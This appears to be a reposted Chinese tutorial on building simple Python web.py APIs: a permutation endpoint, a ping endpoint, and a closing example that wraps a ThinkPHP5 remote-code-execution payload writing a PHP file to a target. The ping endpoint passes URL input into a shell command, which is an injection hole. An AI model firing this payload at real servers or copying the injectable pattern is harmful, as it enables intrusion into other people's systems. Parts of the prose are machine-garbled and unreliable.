首页 » 网站建设 » 菜鸟接口PHP技巧_Python3菜鸟教程丨基于Web模块的轻量级接口设计根本

菜鸟接口PHP技巧_Python3菜鸟教程丨基于Web模块的轻量级接口设计根本

访客 2024-11-24 0

扫一扫用手机浏览

文章目录 [+]

注:i 春秋公众号旨在为大家供应更多的学习方法与技能技巧,文章仅供学习参考。

开拓环境:

菜鸟接口PHP技巧_Python3菜鸟教程丨基于Web模块的轻量级接口设计根本

系统:安卓10

菜鸟接口PHP技巧_Python3菜鸟教程丨基于Web模块的轻量级接口设计根本
(图片来自网络侵删)

工具:Termux

编辑器:vim

措辞:Python3

上传方法:ftp协议

调试环境:

系统:Windows2008(阿里云)

环境:Python3.7.6 + Web.py

解释:建议要利用最适宜自己的开拓环境,在win环境可以选择VS Code等编辑器来开拓。

如何安装运营环境

做事器端安装示例(Windows 2008)

Python3环境的安装:

对付Python3的安装,你只须要到官网下载适宜你的安装包安装即可!

如果你下载的是ZIP包,请自己配置好环境变量,如果你是下载的可视化安装程序,请记得勾选添加环境变量选项!

Web.py 库的安装:

在开始安装之前,请记得在PowerShell里实行下面的命令,我们须要先升级pip,升级命令是这样:

pip install --upgrade pip

在升级完成后,便可以开始安装我们须要的Web库了。

pip install web.py

如何编写

犹如浩瀚编程措辞一样平常,我们先来写个HelloWord:

文件名:sever.py

#-- coding:utf-8 --import web #导入web库#URL掌握urls = (    #访问index的时候,实行index方法    '/index(.)', 'index',)#index方法class index:    def GET(self, text):        index = "hello word!"        return index#主函数开始if __name__ == "__main__":    app = web.application(urls, globals())    app.run()

接着我们在指定端口实行这个脚本:

python sever.py 80

此时,我们访问:127.0.0.1:80,该当在浏览器中能看到这样的内容:

hello word!

这就知足了吗?

不,最最少,得有个俊秀的样式,经由大略的搜索,创造Web.py供应的方法太麻烦了,于是,我们可以这样:

请把稳,此刻我们不须要去停息掌握台,可以直接去修正代码后刷新浏览器就好了!

先在跟Sever.py同一目录下创建index.html,这个html里的文件自己想写啥就写啥,然后我们修正代码:

#index方法class index:    def GET(self, text):        index = open("./index.html", 'r',encoding="utf-8")        index = index.read()        return index

接着再来刷新浏览器,就会创造界面变成了你想要的样子,这解释html文件里的标签被渲染了。

如何开拓API

有这样一道题:给定这样几个字母:a,e,t,请组成单词。

笔者的代码:

import sysfrom itertools import permutationsdef exhaustive_combination_def(exhaustive_combination):    b = ""    arr = exhaustive_combination.split(",")    for a in permutations(arr):        a = "".join(a)        b = b + a + ","        #print(a)    return bif __name__ == "__main__":    i="a,e,t"    i=exhaustive_combination_def(i)    print(i)

实行后,我收成了却果:

aet,ate,eat,eta,tae,tea,

放到百度翻译,人生圆满了。

为了掩护方便,我们API是一个py文件,sever是一个文件,这样最好。

api.py

#-- coding:utf-8 --import sysfrom itertools import permutationsdef exhaustive_combination_def(exhaustive_combination):    b = ""    dzarr = exhaustive_combination.split(",")    for a in permutations(dzarr):        a = "".join(a)        b = b + a + ","    return b

sever.py

#-- coding:utf-8 --import web #导入web库#从文件api.py中引用自定义函数:exhaustive_combination_deffrom api import exhaustive_combination_def#URL掌握urls = (    #访问index的时候,实行index方法    '/index(.)', 'index',    #访问api_one,实行exhaustive_combination方法    '/api_one/(.)', 'exhaustive_combination',)#exhaustive_combination方法class exhaustive_combination:    #text吸收的是get要求内容    def GET(self, text):        #变量 a 吸收传回的返回值        a=exhaustive_combination_def(text)        #返回 a 的内容给浏览器        return aindex方法class index:    def GET(self, text):        index = open("./index.html", 'r',encoding="utf-8")        index = index.read()        return indexif __name__ == "__main__":    app = web.application(urls, globals())    app.run()

访问地址:

http://127.0.0.1/api_one/a,e,t

成功在浏览器返回:

aet,ate,eat,eta,tae,tea,

这样一个大略的API就写好了。

这个时候,我们可以完备通过python写一个自己想要的API。

比如,我们来写一个返回Ping命令结果的:

ping.py

# -- coding: utf-8 --import subprocess  import redef ping_url(url):    ping = subprocess.Popen(["ping.exe", url],      stdin = subprocess.PIPE,      stdout = subprocess.PIPE,      stderr = subprocess.PIPE,      shell = True)      out = ping.stdout.read()    out = out.decode('gbk')    return out

sever.py

#-- coding:utf-8 --import web #导入web库#从文件api.py中引用自定义函数:exhaustive_combination_deffrom api import exhaustive_combination_def#从文件ping.py中引用自定义函数:ping_urlfrom ping import ping_url#URL掌握urls = (    #访问index的时候,实行index方法    '/index(.)', 'index',    #访问api_one,实行exhaustive_combination方法    '/api_one/(.)', 'exhaustive_combination',    #访问ping,实行ping方法    '/ping_api/(.)','ping_api',)#ping方法class ping_api:    def GET(self, text):        a = "<html><head><meta charset=\"utf-8\"><pre>"        b = ping_url(text)        c = "</pre></head></html>"        a = a + b + c        return a#exhaustive_combination方法class exhaustive_combination:    #text吸收的是get要求内容    def GET(self, text):        #变量 a 吸收传回的返回值        a=exhaustive_combination_def(text)        #返回 a 的内容给浏览器        return a#index方法class index:    def GET(self, text):        index = open("./index.html", 'r',encoding="utf-8")        index = index.read()        return indexif __name__ == "__main__":    app = web.application(urls, globals())    app.run()

访问:

http://127.0.0.1/ping_api/www.20191005.tech

成功返回内容:

正在 Ping as20191005.coding.me [150.109.19.98] 具有 32 字节的数据:来自 150.109.19.98 的回答: 字节=32 韶光=949ms TTL=47来自 150.109.19.98 的回答: 字节=32 韶光=1111ms TTL=47来自 150.109.19.98 的回答: 字节=32 韶光=1162ms TTL=47来自 150.109.19.98 的回答: 字节=32 韶光=1156ms TTL=47150.109.19.98 的 Ping 统计信息:    数据包: 已发送 = 4,已吸收 = 4,丢失 = 0 (0% 丢失),来回行程的估计韶光(以毫秒为单位):    最短 = 949ms,最长 = 1162ms,均匀 = 1094ms

扩展设想

在编写工具时,我们很多时候用到的措辞都是Python,然而我们编写的一些图形化工具随着不断的流传,很随意马虎流传到不法分子手中,我们完备可以通过这种API式的去开拓工具。

当工具流窜出去,我们要阻挡不法分子的时候,可以直接在做事器端ban了他的ip ,直接导致你的工具在他手中无法利用,或者直接改变接口参数,导致不法分子的工具失落效,当然为了安全性可以加上一个基于接口的验证方案,来验证工具的利用者。

拿thinkphp5来做一个例子:

样例自定义函数:

#-- coding:utf-8 --import requestsimport re#命令实行def thinkphp5_api(url):    poc = "?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20phpinfo();?>%27%20>%20"    filename ="name.php"    url = str(url + poc + filename)    try:        page = requests.get(url)        zhuangtia = page.status_code        qingqiutou = page.headers        a = "【】要求状态:" + str(zhuangtia) + "\n【】写入路径:" + filename + "\n【】要求头:\n" + str(qingqiutou)        return a    except:        return "写入状态非常!
"

实际效果:

这种方法笔者认为非常便于掌握工具的流利,你只须要通过指定你许可的IP可以访问到做事器API,就可以将工具放心的传给团队内的其他利用者!

如果本文引发了你对API开拓的想法,不妨去试一试,对付Windows图形界面程序的开拓,多种多样,你可以选择C#的WPF或者易措辞,这两者对付图形界面的开拓基本都是直接绘制,上手速率更加快速!

相关文章

php为无色透明技巧_水货钻石其实也还行

从各种钻石中,可以看到大大小小的“包裹体” 图片来源:参考文献包裹体的种类多样。比钻石形成更早的包裹体,叫“原生包裹体”;与钻石同...

网站建设 2024-12-19 阅读0 评论0

phpstudy发送gbk技巧_php的文件上传

这里首先声明一下这一章的内容比较多,比较难,你要抱着和自己去世磕的态度。细微之处不放过,多敲多练是王道。 学习就像爬山,得一步一步...

网站建设 2024-12-19 阅读0 评论0